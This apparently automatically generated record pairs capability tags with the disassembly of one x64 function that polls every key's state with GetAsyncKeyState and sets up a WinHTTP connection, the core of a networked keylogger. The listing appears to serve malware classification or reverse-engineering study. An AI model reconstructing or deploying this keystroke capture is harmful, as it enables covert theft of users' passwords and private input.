Function at 0x140003660
Capabilities:
Create thread
Initialize winhttp library
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor ebp, ebp
mov dword [rsp + 0x20], ebp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Data_Session
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
test rax, rax
jne 0x1400036be
lea rdx, str.___Failed_to_open_session__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003c90
jmp 0x1400036c5
mov qword [0x14000a710], rax
call fcn.140001370
lea rdx, [0x14000a750]
lea rcx, [rsp + 0x30]
call fcn.140003a00
mov rbx, rax
mov qword [rsp + 0x60], rax
mov rdx, rax
cmp qword [rax + 0x18], 8
jb 0x1400036f0
mov rdx, qword [rax]
xor r9d, r9d
movzx r8d, word [0x14000a728]
mov rcx, qword [0x14000a710]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rsi, rax
test rax, rax
jne 0x140003789
lea rdx, str._X__Failed_to_connect_session
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003c90
mov rcx, rax
lea rdx, [0x140003e60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14000a710]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x140003780
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14000377b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000384d
mov rcx, r8
call fcn.14000517c
mov rsi, rbp
movzx r9d, bp
jmp 0x1400037cb
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x1400037c8
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x1400037c3
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000384d
mov rcx, r8
call fcn.14000517c
mov r9d, ebp
mov r8d, 0x10
mov rdx, rbp
mov eax, 7
mov rcx, rbx
mov qword [r8 + rbx], rdx
mov qword [rbx + 0x18], rax
mov word [rbx], r9w
mov qword [0x14000a720], rsi
mov ecx, r8d
call fcn.140004e20
mov qword [rax], rbp
lea rcx, [0x140001a50]
mov qword [rax + 8], rcx
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebp
mov r9, rax
lea r8, [0x140004d80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000397d
cmp dword [rsp + 0x58], 0
jne 0x140003854
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x140003877
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm0
mov edi, 8
mov ecx, edi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, 0x8001
jne 0x140003923
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
shr ebx, 0xf
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
and al, 1
and bl, 1
jne 0x1400038c3
test al, al
jne 0x1400038c3
xor r8b, r8b
jmp 0x1400038c6
mov r8b, 1
mov edx, edi
lea rcx, [rsp + 0x60]
call fcn.1400022d0
nop
lea rdx, [rsp + 0x60]
lea rcx, [0x14000a790]
call fcn.140003bd0
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 8
jb 0x140003923
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000391e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000394b
call fcn.14000517c
cmp edi, 0xff
jge 0x140003880
inc edi
cmp edi, 0xff
jle 0x140003885
cmp dword [rsp + 0x58], 0
je 0x140003952
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140004e00
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov dword [rsp + 0x58], ebp
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3